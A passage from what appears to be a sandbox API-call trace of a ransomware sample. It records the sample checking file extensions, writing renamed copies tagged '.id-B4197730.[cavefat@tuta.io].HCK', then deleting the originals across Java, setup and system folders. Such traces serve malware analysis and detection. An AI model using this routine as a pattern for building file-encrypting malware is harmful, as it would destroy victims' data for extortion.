returned 52 [0180.871] lstrlenW (lpString=".1cd") returned 4 [0180.871] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0180.871] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0180.871] lstrlenW (lpString=".jpg") returned 4 [0180.871] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0180.871] lstrcmpiW (lpString1=".exe", lpString2=".HCK") returned -1 [0180.871] lstrlenW (lpString="unpack200.exe") returned 13 [0180.871] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0180.876] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=197184) returned 1 [0180.876] CloseHandle (hObject=0x3a0) returned 1 [0180.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0180.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.877] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0180.878] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.878] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.878] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0180.880] GetLastError () returned 0x0 [0180.880] ReadFile (in: hFile=0x3a0, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x30240, lpOverlapped=0x0) returned 1 [0180.887] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x30250, lpOverlapped=0x0) returned 1 [0180.889] ReadFile (in: hFile=0x3a0, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.889] WriteFile (in: hFile=0x2d0, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xee, lpOverlapped=0x0) returned 1 [0180.889] SetEndOfFile (hFile=0x2d0) returned 1 [0180.892] CloseHandle (hObject=0x2d0) returned 1 [0180.892] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.892] SetEndOfFile (hFile=0x3a0) returned 1 [0180.894] CloseHandle (hObject=0x3a0) returned 1 [0180.894] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0180.894] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0180.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.898] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.898] lstrlenW (lpString=".doc") returned 4 [0180.898] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0180.898] lstrlenW (lpString=".docx") returned 5 [0180.898] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0180.898] lstrlenW (lpString=".pdf") returned 4 [0180.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".xls") returned 4 [0180.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".xlsx") returned 5 [0180.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0180.899] lstrlenW (lpString=".ppt") returned 4 [0180.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".zip") returned 4 [0180.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".rar") returned 4 [0180.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".bz2") returned 4 [0180.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0180.899] lstrlenW (lpString=".7z") returned 3 [0180.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".dbf") returned 4 [0180.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".1cd") returned 4 [0180.899] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".jpg") returned 4 [0180.899] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".doc") returned 4 [0180.899] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0180.899] lstrlenW (lpString=".docx") returned 5 [0180.899] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0180.899] lstrlenW (lpString=".pdf") returned 4 [0180.899] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".xls") returned 4 [0180.899] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".xlsx") returned 5 [0180.899] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0180.899] lstrlenW (lpString=".ppt") returned 4 [0180.899] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".zip") returned 4 [0180.899] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".rar") returned 4 [0180.899] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0180.899] lstrlenW (lpString=".bz2") returned 4 [0180.899] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0180.899] lstrlenW (lpString=".7z") returned 3 [0180.899] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0180.899] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.899] lstrlenW (lpString=".dbf") returned 4 [0180.899] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0180.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.900] lstrlenW (lpString=".1cd") returned 4 [0180.900] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0180.900] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0180.900] lstrlenW (lpString=".jpg") returned 4 [0180.900] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0180.900] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0180.900] lstrlenW (lpString="wsdetect.dll") returned 12 [0180.900] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0180.903] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=192576) returned 1 [0180.903] CloseHandle (hObject=0x2e8) returned 1 [0180.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll")) returned 0x20 [0180.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.904] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0180.905] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.905] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.905] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\wsdetect.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\wsdetect.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0180.909] GetLastError () returned 0x0 [0180.909] ReadFile (in: hFile=0x354, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x2f040, lpOverlapped=0x0) returned 1 [0180.913] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0x2f050, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0x2f050, lpOverlapped=0x0) returned 1 [0180.916] ReadFile (in: hFile=0x354, lpBuffer=0x34d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0180.916] WriteFile (in: hFile=0x2d4, lpBuffer=0x34d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x34d1020*, lpNumberOfBytesWritten=0x25cfc94*=0xec, lpOverlapped=0x0) returned 1 [0180.916] SetEndOfFile (hFile=0x2d4) returned 1 [0180.917] CloseHandle (hObject=0x2d4) returned 1 [0180.917] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0180.917] SetEndOfFile (hFile=0x354) Thread: id = 286 os_tid = 0x1198 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x7708b0 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x7808b8 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708840 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e810 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085e8 [0147.762] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x35e8020 [0147.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708600 [0147.764] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708600, Size=0x20) returned 0x6eec98 [0147.764] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708558 [0147.764] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708558, Size=0x20) returned 0x6eeb08 [0147.764] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.765] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.765] Wow64DisableWow64FsRedirection (in: OldValue=0x2acff50 | out: OldValue=0x2acff50*=0x0) returned 1 [0147.765] lstrlenW (lpString="kernel32.dll") returned 12 [0147.765] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.765] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.765] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeb08 | out: hHeap=0x6b0000) returned 1 [0147.765] Sleep (dwMilliseconds=0x64) [0148.245] lstrcmpiW (lpString1=".cmd", lpString2=".HCK") returned -1 [0148.245] lstrlenW (lpString="SetupComplete.cmd") returned 17 [0148.245] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0148.389] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=307) returned 1 [0148.389] CloseHandle (hObject=0x314) returned 1 [0148.396] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 0x20 [0148.396] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.403] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.409] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.409] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.410] GetLastError () returned 0x0 [0148.410] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x133, lpOverlapped=0x0) returned 1 [0148.418] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x140, lpOverlapped=0x0) returned 1 [0148.418] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.418] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.419] SetEndOfFile (hFile=0x2f8) returned 1 [0148.419] CloseHandle (hObject=0x2f8) returned 1 [0148.420] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.420] SetEndOfFile (hFile=0x2fc) returned 1 [0148.420] CloseHandle (hObject=0x2fc) returned 1 [0148.420] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.421] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd")) returned 1 [0148.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.421] lstrlenW (lpString=".doc") returned 4 [0148.421] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString=".docx") returned 5 [0148.421] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.421] lstrlenW (lpString=".pdf") returned 4 [0148.421] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString=".xls") returned 4 [0148.421] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString=".xlsx") returned 5 [0148.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.421] lstrlenW (lpString=".ppt") returned 4 [0148.421] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.421] lstrlenW (lpString=".zip") returned 4 [0148.421] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString=".rar") returned 4 [0148.421] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString=".bz2") returned 4 [0148.421] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.421] lstrlenW (lpString=".7z") returned 3 [0148.421] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.421] lstrlenW (lpString=".dbf") returned 4 [0148.421] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.421] lstrlenW (lpString=".1cd") returned 4 [0148.421] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".jpg") returned 4 [0148.422] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".doc") returned 4 [0148.422] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString=".docx") returned 5 [0148.422] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0148.422] lstrlenW (lpString=".pdf") returned 4 [0148.422] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString=".xls") returned 4 [0148.422] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString=".xlsx") returned 5 [0148.422] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0148.422] lstrlenW (lpString=".ppt") returned 4 [0148.422] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".zip") returned 4 [0148.422] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString=".rar") returned 4 [0148.422] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString=".bz2") returned 4 [0148.422] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0148.422] lstrlenW (lpString=".7z") returned 3 [0148.422] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".dbf") returned 4 [0148.422] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".1cd") returned 4 [0148.422] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0148.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd") returned 39 [0148.422] lstrlenW (lpString=".jpg") returned 4 [0148.422] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0148.422] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0148.422] lstrlenW (lpString="SetupResources.dll") returned 18 [0148.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.423] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=18776) returned 1 [0148.423] CloseHandle (hObject=0x2fc) returned 1 [0148.423] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 0x80 [0148.423] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0148.423] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.423] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0148.424] GetLastError () returned 0x0 [0148.425] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x4958, lpOverlapped=0x0) returned 1 [0148.427] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0x4960, lpOverlapped=0x0) returned 1 [0148.428] ReadFile (in: hFile=0x2fc, lpBuffer=0x35e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0148.428] WriteFile (in: hFile=0x2f8, lpBuffer=0x35e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x35e8020*, lpNumberOfBytesWritten=0x2acfc94*=0xf8, lpOverlapped=0x0) returned 1 [0148.428] SetEndOfFile (hFile=0x2f8) returned 1 [0148.428] CloseHandle (hObject=0x2f8) returned 1 [0148.429] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0148.429] SetEndOfFile (hFile=0x2fc) returned 1 [0148.430] CloseHandle (hObject=0x2fc) returned 1 [0148.430] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.430] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0148.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.430] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0148.430] lstrlenW (lpString=".doc") returned 4 [0148.430] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0148.430] lstrlenW (lpString=".docx") returned 5 [0148.430] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0148.430] lstrlenW (lpString=".pdf") returned 4 [0148.430] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0148.430] lstrlenW (lpString=".xls") returned 4 [0148.431] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 